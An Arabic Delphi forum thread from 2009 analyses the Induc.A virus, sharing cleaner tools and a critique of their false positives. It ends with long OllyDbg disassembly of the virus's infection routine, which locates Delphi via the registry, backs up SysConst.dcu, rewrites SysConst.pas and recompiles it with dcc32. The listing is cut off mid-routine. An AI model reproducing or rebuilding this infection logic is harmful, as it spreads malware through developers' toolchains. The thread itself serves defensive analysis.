STRELiTZIA
25-08-2009, 09:41 AM
السلام عليكم و رحمة الله
رد امباركاديرو الرسمي حول الفيروس
رد الشركة ياتي لطمئنة المستهلك اكثر ما هو رد تقني...
هناك افكار و وجهات نظر تتحدث على حجز استعمال command line الخاص بالكومبايل يعمل بتحكم من دلفي فقط، مع ان هذه الطريقة تجعل كثير من المكونات مثل مكونات Jedi - لا تنصب و لا تعمل، ايضا وجهة نظر اخر تخص مستعملي انظمة فيستا و سفن و امكانية عمل Control على مجلد دلفي بصلاحيات Administrator.
المصدر مدونة : Marcocantu
http://blog.marcocantu.com/blog/stopping_delphi_virus.html
اخوآني الكرام,, فيروس عجيب سبحان الله,, ما فآئدته ؟
يعني اقصد هو لا يقوم بعمل اي ضرر,, طيب ما الفآئدة منه ؟
ومن ورآئه ؟
يكفي فقط التركيز على طريقة انتشاره المميزة... كما قال اخي دلتا: فكرة تلويث الملفات المصدرية قديمة - تثبيت مكونات تجارية او مجانينة بصيغة DCU او PAS- ملوثة تجعلك في كل مرة تنتج ملف تنفيذي مصاب ينقل العدوي الى ملفات مصدرية اخرى و هكدا...
على كل حال اخوآني الكرآم انا استخدم دلفي 2099,, هل يعني هذا انني آمن ؟
نسخة 2099 غير معنية لانها لم تصدر بعد و ان صدرت يكون كل اعضاء المنتدى قد اصبحو تحت الأرض :)
بجد... هذه النسخة من الفيروس تصيب فقط اصدارات Borland من 5 الى 7 بالتجربة و على نسخة 4 حسب كود الفيروس، هذا لا يعني ان النسخ الجديدة في مأمن او مكتبات اللغات البرمجية الأخرى.
بالنسبة للآمان... انت لست في مأمن في استعمال اي نسخة من دلفي لان فكرة التلويث Infection concept وضعت و اظن انه سوف تظهر نسخ كثيرة و سوف تعمل على كل اصدارات دلفي....
بالتوفيق ان شاء الله
B.M.AbdelAziZ
26-08-2009, 09:45 PM
يمكن تحميل مضاد لهذا الفيروس من هنا
http://www.gsa-online.de/eng/delphi_induc_cleaner.html
بامكانه تنظيف الملفات المصابة
والسلام عليكم
mohfa
27-08-2009, 01:06 AM
السلام عليكم ورحمة الله وبركاته
اظافة الى الرابط الذي وضعه اخي DeltaAziz
هذه الاداة برمجتهاعلى السريع لتقوم بتنظيف اي ملف مصاب بفيرس :
Win32/Induc.A
والله المستعان
محمد
mohfa
27-08-2009, 01:53 AM
التحميل يكون المرفق الثاني
B.M.AbdelAziZ
27-08-2009, 11:49 AM
هذه الاداة برمجتهاعلى السريع لتقوم بتنظيف اي ملف مصاب بفيرس
انتبه اخي محمد الاداة تخرب البرامج
جربها على نسخة البرنامج نفسه Cleaner وانظر ماذا يحدث
جربها على الملف المصدري نفسه main.pas وانظر ماذا يحدث
راجع هذا المقال به شرح مفصل عن بنية الفيروس واصابته الملفات التنفيذية
http://www.felix-colibri.com/papers/delphi/delphi_induc_a_virus_anatomy/delphi_induc_a_virus_anatomy.html
بالتوفيق
mohfa
27-08-2009, 07:08 PM
اخي محمد هل جربتها على ملف مصاب بهذا الفيروس .
انا عن نفسي جربتها و نجحت , لكنني لم اجربها على البرنامج نفسه اقصد cleaner ...
سوف ارى ان شاء الله .
على كل حال الملف المصدري موجود يمكن لمن اراد ان يطورها .
mohfa
27-08-2009, 09:07 PM
التخريب يكون على البرنامج نفسه اقصد Cleaner .
لان البرنامج او بالاحرى الروتين الذي سيقوم بالتنظيف سيبحث اولا عن
' uses windows; ' اذا و جدها في الملف الراد تنظيفه فسيبداء بعملية التنظيف و الا فالملف نظيف .
لماذا يخرب ملف Cleaner لان هذا الاخير يحوي ' uses windows; '
على شكل Plain .
انظر المرفق
STRELiTZIA
28-08-2009, 10:12 AM
السلام عليكم و رحمة الله
لماذا يخرب ملف Cleaner لان هذا الاخير يحوي ' uses windows; '
بعض الملاحظات اخي mohfa :tong:
drag and drop files
يحدث عندي مشكل عند محاولة فحص ملفات تسميتها بهذه الضيغة : sysconst_Infected
لا يتم فحصه و الأداة تخرج رسالة تقول ان الملف غير موجود...
المشكل في طول اسم الملف عند عمل drag and drop.
Cleaning
يعتبر كل ملف يحتوي في قسم الــ uses على وحدة Windows فقط، و مكتوبة في سطر واحد على ضيغة البصمة التي استعملت و خاصة الوحدات المستقلة التي يتم اضافتها الى المشاريع على انها positive و يتم تنظيفها مما يؤدي الى تخريبها.
مثال :
الملف الأصلي مكتوب بهذه الطريقة :
uses
Windows;
التعاريف ليست في نفس السطر و Windows الحرف الأول كبير...
بعد تغيير طفيف :D
(************************************************* *****************************
* *
* RunOnce - Prevents application for being launched more than once *
* *
* Copyright (c) 2006 Michael Puff http://www.michael-puff.de *
* *
************************************************** ****************************)
{
Usage:
- Add unit to project
- Call RunOnceInit after Application.Initialize;
- Use for the first parameter an unique string.
For example a GUID (Globally Unique Identifier).
(Delphi IDE: Strg+Shift+G)
}
unit MpuRunOnce;
interface
uses windows;
procedure RunOnceInit(GUID: String; ShowMessage: Boolean; Handle: THandle; Caption, MsgText: String; MsgBoxFlags: DWORD = 0);
implementation
var
hMutex: THandle;
procedure RunOnceInit(GUID: String; ShowMessage: Boolean; Handle: THandle; Caption, MsgText: String; MsgBoxFlags: DWORD = 0);
begin
hMutex := CreateMutex(nil, True, PChar(GUID));
if GetLastError = ERROR_ALREADY_EXISTS then
begin
if ShowMessage then
begin
MessageBox(Handle, PChar(MsgText), PChar(Caption), MsgBoxFlags);
Halt;
end;
end;
end;
Initialization
Finalization
if hMutex <> 0 then
CloseHandle(hMutex);
end.
Portable Executable Cleaning
الملفات التنفيذية التي يتم تنظيفها تعمل بنجاح و لكن عند تنقيحها نلاحظ وجود خوارزمية التلويث ما زالت موجودة في الملف...لان الأداة حذفت فقط الــ Strings و ليس الخوارزمية النشطة التي تقوم بالتلويث..
SysConst.dcu Cleaning result
بعد تنظيف ملف SysConst.dcu و انشاء مشروع جديد في دلفي على النسخة المنظفة..
الملف project .exe اي الملف التنفيذي المنتج لا يعمل... لانه تم حذف الــ Strings فقط من ملف SysConst.dcu و بقيت خوارزمية التلويث.
و اصبح الملف الناتج عند تشغيله يشغل الخوارزمية التي تحاول التلويث من جديد... مع ان الملف نظيف الا انها استطاعت نسخ ملف SysConst.pas و كتبت فيه خزعبلات لانها لم تجد الــ Strings المحذوفة...
الخطا يحدث فقط في حالة عدم وجود SysConst.bak في مجلد Lib لان الخوارزمية تقوم بفحص وحود نسخة احتياطية SysConst.bak ان وجدتها البرنامج يكمل تنفيذه عادي و ان لم تجدها البرنامج يتعطل و يخرج رسالة خطأ ثم يغلق...
ملخص لما سبق :
- طريقة الكشف من حيث البصمة تعمل بنسبة 70% حيث يوجد فيها كثير من الــ False positive.
- تنظيف الملفات التنفيذية يعمل بنجاح الا ان الملف المنظف يحتوي دائما على خوارزمية التلويث.
- تنظيف ملف SysConst.dcu غير ناجح، حيث الملفات المنتجة من دلفي تعمل فقط ان وجدت ملف SysConst.bak في مجلد Lib.
التجربة سرقت مني ساعتين، ان شاء الله تعود بالفائدة للجميع :)
تقبل ***** :monster1:
STRELiTZIA
28-08-2009, 10:13 AM
خوارزمية التلويث من المنقح OllyDbg :
تكملة للملفات المصدرية الخاصة بالبرنامج الضار... في المشاركة :
http://www.delphi4arab.com/forum/showthread.php?t=1733
00408560 /. 55 PUSH EBP
00408561 |. 8BEC MOV EBP,ESP
00408563 |. 81C4 DCFEFFFF ADD ESP,-124
00408569 |. 53 PUSH EBX
0040856A |. 56 PUSH ESI
0040856B |. 33C0 XOR EAX,EAX
0040856D |. 8985 E4FEFFFF MOV DWORD PTR SS:[EBP-11C],EAX
00408573 |. 8985 E0FEFFFF MOV DWORD PTR SS:[EBP-120],EAX
00408579 |. 8985 DCFEFFFF MOV DWORD PTR SS:[EBP-124],EAX
0040857F |. 8985 E8FEFFFF MOV DWORD PTR SS:[EBP-118],EAX
00408585 |. 8985 F0FEFFFF MOV DWORD PTR SS:[EBP-110],EAX
0040858B |. 8985 ECFEFFFF MOV DWORD PTR SS:[EBP-114],EAX
00408591 |. 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
00408594 |. 8D75 F8 LEA ESI,DWORD PTR SS:[EBP-8]
00408597 |. 33C0 XOR EAX,EAX
00408599 |. 55 PUSH EBP
0040859A |. 68 05874000 PUSH Test.00408705
0040859F |. 64:FF30 PUSH DWORD PTR FS:[EAX]
004085A2 |. 64:8920 MOV DWORD PTR FS:[EAX],ESP
004085A5 |. B3 34 MOV BL,34
004085A7 |> 8D45 FC /LEA EAX,DWORD PTR SS:[EBP-4]
004085AA |. 50 |PUSH EAX
004085AB |. 68 19000200 |PUSH 20019
004085B0 |. 6A 00 |PUSH 0
004085B2 |. 68 1C874000 |PUSH Test.0040871C ; ASCII "Software\Borland\Delphi\"
004085B7 |. 8D85 ECFEFFFF |LEA EAX,DWORD PTR SS:[EBP-114]
004085BD |. 8BD3 |MOV EDX,EBX
004085BF |. E8 F0C4FFFF |CALL Test.00404AB4
004085C4 |. FFB5 ECFEFFFF |PUSH DWORD PTR SS:[EBP-114]
004085CA |. 68 40874000 |PUSH Test.00408740 ; ASCII ".0"
004085CF |. 8D85 F0FEFFFF |LEA EAX,DWORD PTR SS:[EBP-110]
004085D5 |. BA 03000000 |MOV EDX,3
004085DA |. E8 6DC6FFFF |CALL Test.00404C4C
004085DF |. 8B85 F0FEFFFF |MOV EAX,DWORD PTR SS:[EBP-110]
004085E5 |. E8 A2C7FFFF |CALL Test.00404D8C
004085EA |. 50 |PUSH EAX ; |Subkey
004085EB |. 68 02000080 |PUSH 80000002 ; |hKey = HKEY_LOCAL_MACHINE
004085F0 |. E8 77E3FFFF |CALL <JMP.&advapi32.RegOpenKeyExA> ; \RegOpenKeyExA
004085F5 |. 85C0 |TEST EAX,EAX
004085F7 |. 0F85 D8000000 |JNZ Test.004086D5
004085FD |. C706 FF000000 |MOV DWORD PTR DS:[ESI],0FF
00408603 |. 56 |PUSH ESI ; /pBufSize
00408604 |. 8D85 F5FEFFFF |LEA EAX,DWORD PTR SS:[EBP-10B] ; |
0040860A |. 50 |PUSH EAX ; |Buffer
0040860B |. 56 |PUSH ESI ; |pValueType
0040860C |. 6A 00 |PUSH 0 ; |Reserved = NULL
0040860E |. 68 44874000 |PUSH Test.00408744 ; |ValueName = "RootDir"
00408613 |. 8B45 FC |MOV EAX,DWORD PTR SS:[EBP-4] ; |
00408616 |. 50 |PUSH EAX ; |hKey
00408617 |. E8 58E3FFFF |CALL <JMP.&advapi32.RegQueryValueExA> ; \RegQueryValueExA
0040861C |. 85C0 |TEST EAX,EAX
0040861E |. 0F85 A8000000 |JNZ Test.004086CC
00408624 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C]
00408627 |. E8 A0C2FFFF |CALL Test.004048CC
0040862C |. C706 01000000 |MOV DWORD PTR DS:[ESI],1
00408632 |. EB 24 |JMP SHORT Test.00408658
00408634 |> 8D85 E8FEFFFF |/LEA EAX,DWORD PTR SS:[EBP-118]
0040863A |. 8B16 ||MOV EDX,DWORD PTR DS:[ESI]
0040863C |. 8A9415 F4FEFFFF ||MOV DL,BYTE PTR SS:[EBP+EDX-10C]
00408643 |. E8 6CC4FFFF ||CALL Test.00404AB4
00408648 |. 8B95 E8FEFFFF ||MOV EDX,DWORD PTR SS:[EBP-118]
0040864E |. 8D45 F4 ||LEA EAX,DWORD PTR SS:[EBP-C]
00408651 |. E8 3EC5FFFF ||CALL Test.00404B94
00408656 |. FF06 ||INC DWORD PTR DS:[ESI]
00408658 |> 8B06 | MOV EAX,DWORD PTR DS:[ESI]
0040865A |. 80BC05 F4FEFFFF 00 ||CMP BYTE PTR SS:[EBP+EAX-10C],0
00408662 |.^ 75 D0 |\JNZ SHORT Test.00408634
00408664 |. 68 54874000 |PUSH Test.00408754
00408669 |. FF75 F4 |PUSH DWORD PTR SS:[EBP-C]
0040866C |. 68 60874000 |PUSH Test.00408760 ; ASCII "\bin\dcc32.exe"" "
00408671 |. 8D85 E4FEFFFF |LEA EAX,DWORD PTR SS:[EBP-11C]
00408677 |. BA 03000000 |MOV EDX,3
0040867C |. E8 CBC5FFFF |CALL Test.00404C4C
00408681 |. 8B85 E4FEFFFF |MOV EAX,DWORD PTR SS:[EBP-11C]
00408687 |. 50 |PUSH EAX
00408688 |. 8D85 E0FEFFFF |LEA EAX,DWORD PTR SS:[EBP-120]
0040868E |. B9 7C874000 |MOV ECX,Test.0040877C ; ASCII "\lib\sysconst."
00408693 |. 8B55 F4 |MOV EDX,DWORD PTR SS:[EBP-C]
00408696 |. E8 3DC5FFFF |CALL Test.00404BD8
0040869B |. 8B85 E0FEFFFF |MOV EAX,DWORD PTR SS:[EBP-120]
004086A1 |. 50 |PUSH EAX
004086A2 |. FF75 F4 |PUSH DWORD PTR SS:[EBP-C]
004086A5 |. 68 94874000 |PUSH Test.00408794 ; ASCII "\source\rtl\sys\SysConst"
004086AA |. 68 B8874000 |PUSH Test.004087B8 ; ASCII ".pas"
004086AF |. 8D85 DCFEFFFF |LEA EAX,DWORD PTR SS:[EBP-124]
004086B5 |. BA 03000000 |MOV EDX,3
004086BA |. E8 8DC5FFFF |CALL Test.00404C4C
004086BF |. 8B85 DCFEFFFF |MOV EAX,DWORD PTR SS:[EBP-124]
004086C5 |. 5A |POP EDX
004086C6 |. 59 |POP ECX
004086C7 |. E8 B8F9FFFF |CALL Test.00408084
004086CC |> 8B45 FC |MOV EAX,DWORD PTR SS:[EBP-4]
004086CF |. 50 |PUSH EAX ; /hKey
004086D0 |. E8 8FE2FFFF |CALL <JMP.&advapi32.RegCloseKey> ; \RegCloseKey
004086D5 |> 43 |INC EBX
004086D6 |. 80FB 38 |CMP BL,38
004086D9 |.^ 0F85 C8FEFFFF \JNZ Test.004085A7
004086DF |. 33C0 XOR EAX,EAX
004086E1 |. 5A POP EDX
004086E2 |. 59 POP ECX
004086E3 |. 59 POP ECX
004086E4 |. 64:8910 MOV DWORD PTR FS:[EAX],EDX
004086E7 |. 68 0C874000 PUSH Test.0040870C
004086EC |> 8D85 DCFEFFFF LEA EAX,DWORD PTR SS:[EBP-124]
004086F2 |. BA 06000000 MOV EDX,6
004086F7 |. E8 F4C1FFFF CALL Test.004048F0
004086FC |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C]
004086FF |. E8 C8C1FFFF CALL Test.004048CC
00408704 \. C3 RET
STRELiTZIA
28-08-2009, 10:16 AM
00408084 /$ 55 PUSH EBP
00408085 |. 8BEC MOV EBP,ESP
00408087 |. 51 PUSH ECX
00408088 |. B9 88000000 MOV ECX,88
0040808D |> 6A 00 /PUSH 0
0040808F |. 6A 00 |PUSH 0
00408091 |. 49 |DEC ECX
00408092 |.^ 75 F9 \JNZ SHORT Test.0040808D
00408094 |. 874D FC XCHG DWORD PTR SS:[EBP-4],ECX
00408097 |. 53 PUSH EBX
00408098 |. 56 PUSH ESI
00408099 |. 57 PUSH EDI
0040809A |. 894D F4 MOV DWORD PTR SS:[EBP-C],ECX
0040809D |. 8955 F8 MOV DWORD PTR SS:[EBP-8],EDX
004080A0 |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
004080A3 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
004080A6 |. E8 D1CCFFFF CALL Test.00404D7C
004080AB |. 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
004080AE |. E8 C9CCFFFF CALL Test.00404D7C
004080B3 |. 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C]
004080B6 |. E8 C1CCFFFF CALL Test.00404D7C
004080BB |. 8DBD 44FCFFFF LEA EDI,DWORD PTR SS:[EBP-3BC]
004080C1 |. 33C0 XOR EAX,EAX
004080C3 |. 55 PUSH EBP
004080C4 |. 68 D4844000 PUSH Test.004084D4
004080C9 |. 64:FF30 PUSH DWORD PTR FS:[EAX]
004080CC |. 64:8920 MOV DWORD PTR FS:[EAX],ESP
004080CF |. 6A 00 PUSH 0
004080D1 |. 6A 00 PUSH 0
004080D3 |. 6A 03 PUSH 3
004080D5 |. 6A 00 PUSH 0
004080D7 |. 6A 00 PUSH 0
004080D9 |. 6A 00 PUSH 0
004080DB |. 8D85 ECFBFFFF LEA EAX,DWORD PTR SS:[EBP-414]
004080E1 |. B9 EC844000 MOV ECX,Test.004084EC ; ASCII "bak"
004080E6 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004080E9 |. E8 EACAFFFF CALL Test.00404BD8
004080EE |. 8B85 ECFBFFFF MOV EAX,DWORD PTR SS:[EBP-414]
004080F4 |. E8 93CCFFFF CALL Test.00404D8C
004080F9 |. 50 PUSH EAX ; |FileName
004080FA |. E8 95E8FFFF CALL <JMP.&kernel32.CreateFileA> ; \CreateFileA
004080FF |. 8BD8 MOV EBX,EAX
00408101 |. 83FB FF CMP EBX,-1
00408104 |. 74 0B JE SHORT Test.00408111
00408106 |. 53 PUSH EBX ; /hObject
00408107 |. E8 70E8FFFF CALL <JMP.&kernel32.CloseHandle> ; \CloseHandle
0040810C |. E9 98030000 JMP Test.004084A9
00408111 |> 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4]
00408114 |. 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0]
0040811A |. E8 B1AEFFFF CALL Test.00402FD0
0040811F |. 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0]
00408125 |. E8 36ACFFFF CALL Test.00402D60
0040812A |. E8 C5AAFFFF CALL Test.00402BF4
0040812F |. E8 34ABFFFF CALL Test.00402C68
00408134 |. 85C0 TEST EAX,EAX
00408136 |. 0F85 6D030000 JNZ Test.004084A9
0040813C |. 8D85 E8FBFFFF LEA EAX,DWORD PTR SS:[EBP-418]
00408142 |. B9 F8844000 MOV ECX,Test.004084F8 ; ASCII "pas"
00408147 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
0040814A |. E8 89CAFFFF CALL Test.00404BD8
0040814F |. 8B95 E8FBFFFF MOV EDX,DWORD PTR SS:[EBP-418]
00408155 |. 8BC7 MOV EAX,EDI
00408157 |. E8 74AEFFFF CALL Test.00402FD0
0040815C |. 8BC7 MOV EAX,EDI
0040815E |. E8 09ACFFFF CALL Test.00402D6C
00408163 |. E8 8CAAFFFF CALL Test.00402BF4
00408168 |. E8 FBAAFFFF CALL Test.00402C68
0040816D |. 85C0 TEST EAX,EAX
0040816F |. 74 58 JE SHORT Test.004081C9
00408171 |. 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0]
00408177 |. E8 1CAFFFFF CALL Test.00403098
0040817C |. E8 73AAFFFF CALL Test.00402BF4
00408181 |. E9 23030000 JMP Test.004084A9
00408186 |> 8D55 FC /LEA EDX,DWORD PTR SS:[EBP-4]
00408189 |. 8D85 10FEFFFF |LEA EAX,DWORD PTR SS:[EBP-1F0]
0040818F |. E8 F8B1FFFF |CALL Test.0040338C
00408194 |. 8D85 10FEFFFF |LEA EAX,DWORD PTR SS:[EBP-1F0]
0040819A |. E8 59B2FFFF |CALL Test.004033F8
0040819F |. E8 50AAFFFF |CALL Test.00402BF4
004081A4 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4]
004081A7 |. 8BC7 |MOV EAX,EDI
004081A9 |. E8 CECDFFFF |CALL Test.00404F7C
004081AE |. E8 5DB4FFFF |CALL Test.00403610
004081B3 |. E8 3CAAFFFF |CALL Test.00402BF4
004081B8 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4]
004081BB |. B8 04854000 |MOV EAX,Test.00408504 ; ASCII "implementation"
004081C0 |. E8 0BCDFFFF |CALL Test.00404ED0
004081C5 |. 85C0 |TEST EAX,EAX
004081C7 |. 75 14 |JNZ SHORT Test.004081DD
004081C9 |> 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0]
004081CF |. E8 2CB0FFFF |CALL Test.00403200
004081D4 |. E8 1BAAFFFF |CALL Test.00402BF4
004081D9 |. 84C0 |TEST AL,AL
004081DB |.^ 74 A9 \JE SHORT Test.00408186
004081DD |> BB 01000000 MOV EBX,1
004081E2 |. BE C0F04400 MOV ESI,Test.0044F0C0
004081E7 |> 8B16 /MOV EDX,DWORD PTR DS:[ESI]
004081E9 |. 8BC7 |MOV EAX,EDI
004081EB |. E8 8CCDFFFF |CALL Test.00404F7C
004081F0 |. E8 1BB4FFFF |CALL Test.00403610
004081F5 |. E8 FAA9FFFF |CALL Test.00402BF4
004081FA |. 83C6 04 |ADD ESI,4
004081FD |. 4B |DEC EBX
004081FE |.^ 75 E7 \JNZ SHORT Test.004081E7
00408200 |. BB 17000000 MOV EBX,17
00408205 |. BE C0F04400 MOV ESI,Test.0044F0C0
0040820A |> 8B0E /MOV ECX,DWORD PTR DS:[ESI]
0040820C |. 8D85 E4FBFFFF |LEA EAX,DWORD PTR SS:[EBP-41C]
00408212 |. BA 1C854000 |MOV EDX,Test.0040851C
00408217 |. E8 BCC9FFFF |CALL Test.00404BD8
0040821C |. 8B95 E4FBFFFF |MOV EDX,DWORD PTR SS:[EBP-41C]
00408222 |. 8BC7 |MOV EAX,EDI
00408224 |. E8 53CDFFFF |CALL Test.00404F7C
00408229 |. BA 28854000 |MOV EDX,Test.00408528 ; ASCII "',"
0040822E |. E8 49CDFFFF |CALL Test.00404F7C
00408233 |. E8 D8B3FFFF |CALL Test.00403610
00408238 |. E8 B7A9FFFF |CALL Test.00402BF4
STRELiTZIA
28-08-2009, 10:17 AM
0040823D |. 83C6 04 |ADD ESI,4
00408240 |. 4B |DEC EBX
00408241 |.^ 75 C7 \JNZ SHORT Test.0040820A
00408243 |. 68 1C854000 PUSH Test.0040851C
00408248 |. FF35 1CF14400 PUSH DWORD PTR DS:[44F11C] ; Test.00407FF4
0040824E |. 68 34854000 PUSH Test.00408534 ; ASCII "');"
00408253 |. 8D85 E0FBFFFF LEA EAX,DWORD PTR SS:[EBP-420]
00408259 |. BA 03000000 MOV EDX,3
0040825E |. E8 E9C9FFFF CALL Test.00404C4C
00408263 |. 8B95 E0FBFFFF MOV EDX,DWORD PTR SS:[EBP-420]
00408269 |. 8BC7 MOV EAX,EDI
0040826B |. E8 0CCDFFFF CALL Test.00404F7C
00408270 |. E8 9BB3FFFF CALL Test.00403610
00408275 |. E8 7AA9FFFF CALL Test.00402BF4
0040827A |. BB 17000000 MOV EBX,17
0040827F |. BE C4F04400 MOV ESI,Test.0044F0C4
00408284 |> 8D95 DCFBFFFF /LEA EDX,DWORD PTR SS:[EBP-424]
0040828A |. 8B06 |MOV EAX,DWORD PTR DS:[ESI]
0040828C |. E8 73FDFFFF |CALL Test.00408004
00408291 |. 8B95 DCFBFFFF |MOV EDX,DWORD PTR SS:[EBP-424]
00408297 |. 8BC7 |MOV EAX,EDI
00408299 |. E8 DECCFFFF |CALL Test.00404F7C
0040829E |. E8 6DB3FFFF |CALL Test.00403610
004082A3 |. E8 4CA9FFFF |CALL Test.00402BF4
004082A8 |. 83C6 04 |ADD ESI,4
004082AB |. 4B |DEC EBX
004082AC |.^ 75 D6 \JNZ SHORT Test.00408284
004082AE |. 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0]
004082B4 |. E8 DFADFFFF CALL Test.00403098
004082B9 |. E8 36A9FFFF CALL Test.00402BF4
004082BE |. 8BC7 MOV EAX,EDI
004082C0 |. E8 D3ADFFFF CALL Test.00403098
004082C5 |. E8 2AA9FFFF CALL Test.00402BF4
004082CA |. 8D85 D8FBFFFF LEA EAX,DWORD PTR SS:[EBP-428]
004082D0 |. B9 EC844000 MOV ECX,Test.004084EC ; ASCII "bak"
004082D5 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004082D8 |. E8 FBC8FFFF CALL Test.00404BD8
004082DD |. 8B85 D8FBFFFF MOV EAX,DWORD PTR SS:[EBP-428]
004082E3 |. E8 A4CAFFFF CALL Test.00404D8C
004082E8 |. 50 PUSH EAX
004082E9 |. 8D85 D4FBFFFF LEA EAX,DWORD PTR SS:[EBP-42C]
004082EF |. B9 40854000 MOV ECX,Test.00408540 ; ASCII "dcu"
004082F4 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004082F7 |. E8 DCC8FFFF CALL Test.00404BD8
004082FC |. 8B85 D4FBFFFF MOV EAX,DWORD PTR SS:[EBP-42C]
00408302 |. E8 85CAFFFF CALL Test.00404D8C
00408307 |. 50 PUSH EAX ; |ExistingName
00408308 |. E8 07E8FFFF CALL <JMP.&kernel32.MoveFileA> ; \MoveFileA
0040830D |. 8D85 00FCFFFF LEA EAX,DWORD PTR SS:[EBP-400]
00408313 |. 33C9 XOR ECX,ECX
00408315 |. BA 44000000 MOV EDX,44
0040831A |. E8 19AFFFFF CALL Test.00403238
0040831F |. C785 00FCFFFF 44000000 MOV DWORD PTR SS:[EBP-400],44
00408329 |. C785 2CFCFFFF 01000000 MOV DWORD PTR SS:[EBP-3D4],1
00408333 |. 66:C785 30FCFFFF 0000 MOV WORD PTR SS:[EBP-3D0],0
0040833C |. 8D85 F0FBFFFF LEA EAX,DWORD PTR SS:[EBP-410]
00408342 |. 50 PUSH EAX
00408343 |. 8D85 00FCFFFF LEA EAX,DWORD PTR SS:[EBP-400]
00408349 |. 50 PUSH EAX
0040834A |. 6A 00 PUSH 0
0040834C |. 6A 00 PUSH 0
0040834E |. 6A 00 PUSH 0
00408350 |. 6A 00 PUSH 0
00408352 |. 6A 00 PUSH 0
00408354 |. 6A 00 PUSH 0
00408356 |. FF75 F4 PUSH DWORD PTR SS:[EBP-C]
00408359 |. 68 4C854000 PUSH Test.0040854C
0040835E |. FF75 F8 PUSH DWORD PTR SS:[EBP-8]
00408361 |. 68 58854000 PUSH Test.00408558 ; ASCII "pas"""
00408366 |. 8D85 D0FBFFFF LEA EAX,DWORD PTR SS:[EBP-430]
0040836C |. BA 04000000 MOV EDX,4
00408371 |. E8 D6C8FFFF CALL Test.00404C4C
00408376 |. 8B85 D0FBFFFF MOV EAX,DWORD PTR SS:[EBP-430]
0040837C |. E8 0BCAFFFF CALL Test.00404D8C
00408381 |. 50 PUSH EAX ; |CommandLine
00408382 |. 6A 00 PUSH 0 ; |ModuleFileName = NULL
00408384 |. E8 13E6FFFF CALL <JMP.&kernel32.CreateProcessA> ; \CreateProcessA
00408389 |. 83F8 01 CMP EAX,1
0040838C |. 1BC0 SBB EAX,EAX
0040838E |. 40 INC EAX
0040838F |. 84C0 TEST AL,AL
00408391 |. 74 0E JE SHORT Test.004083A1
00408393 |. 6A FF PUSH -1 ; /Timeout = INFINITE
00408395 |. 8B85 F0FBFFFF MOV EAX,DWORD PTR SS:[EBP-410] ; |
0040839B |. 50 PUSH EAX ; |hObject
0040839C |. E8 E3E7FFFF CALL <JMP.&kernel32.WaitForSingleObject> ; \WaitForSingleObject
004083A1 |> 8D85 CCFBFFFF LEA EAX,DWORD PTR SS:[EBP-434]
004083A7 |. B9 40854000 MOV ECX,Test.00408540 ; ASCII "dcu"
004083AC |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004083AF |. E8 24C8FFFF CALL Test.00404BD8
004083B4 |. 8B85 CCFBFFFF MOV EAX,DWORD PTR SS:[EBP-434]
004083BA |. E8 CDC9FFFF CALL Test.00404D8C
004083BF |. 50 PUSH EAX
004083C0 |. 8D85 C8FBFFFF LEA EAX,DWORD PTR SS:[EBP-438]
004083C6 |. B9 EC844000 MOV ECX,Test.004084EC ; ASCII "bak"
004083CB |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004083CE |. E8 05C8FFFF CALL Test.00404BD8
004083D3 |. 8B85 C8FBFFFF MOV EAX,DWORD PTR SS:[EBP-438]
004083D9 |. E8 AEC9FFFF CALL Test.00404D8C
004083DE |. 50 PUSH EAX ; |ExistingName
004083DF |. E8 30E7FFFF CALL <JMP.&kernel32.MoveFileA> ; \MoveFileA
004083E4 |. 8D85 C4FBFFFF LEA EAX,DWORD PTR SS:[EBP-43C]
004083EA |. B9 F8844000 MOV ECX,Test.004084F8 ; ASCII "pas"
004083EF |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
004083F2 |. E8 E1C7FFFF CALL Test.00404BD8
004083F7 |. 8B85 C4FBFFFF MOV EAX,DWORD PTR SS:[EBP-43C]
004083FD |. E8 8AC9FFFF CALL Test.00404D8C
00408402 |. 50 PUSH EAX ; /FileName
00408403 |. E8 ACE5FFFF CALL <JMP.&kernel32.DeleteFileA> ; \DeleteFileA
00408408 |. 6A 00 PUSH 0
STRELiTZIA
28-08-2009, 10:17 AM
0040840A |. 6A 00 PUSH 0
0040840C |. 6A 03 PUSH 3
0040840E |. 6A 00 PUSH 0
00408410 |. 6A 00 PUSH 0
00408412 |. 6A 00 PUSH 0
00408414 |. 8D85 C0FBFFFF LEA EAX,DWORD PTR SS:[EBP-440]
0040841A |. B9 EC844000 MOV ECX,Test.004084EC ; ASCII "bak"
0040841F |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
00408422 |. E8 B1C7FFFF CALL Test.00404BD8
00408427 |. 8B85 C0FBFFFF MOV EAX,DWORD PTR SS:[EBP-440]
0040842D |. E8 5AC9FFFF CALL Test.00404D8C
00408432 |. 50 PUSH EAX ; |FileName
00408433 |. E8 5CE5FFFF CALL <JMP.&kernel32.CreateFileA> ; \CreateFileA
00408438 |. 8BD8 MOV EBX,EAX
0040843A |. 83FB FF CMP EBX,-1
0040843D |. 74 6A JE SHORT Test.004084A9
0040843F |. 8D45 DC LEA EAX,DWORD PTR SS:[EBP-24]
00408442 |. 50 PUSH EAX ; /pLastWrite
00408443 |. 8D45 E4 LEA EAX,DWORD PTR SS:[EBP-1C] ; |
00408446 |. 50 PUSH EAX ; |pLastAccess
00408447 |. 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] ; |
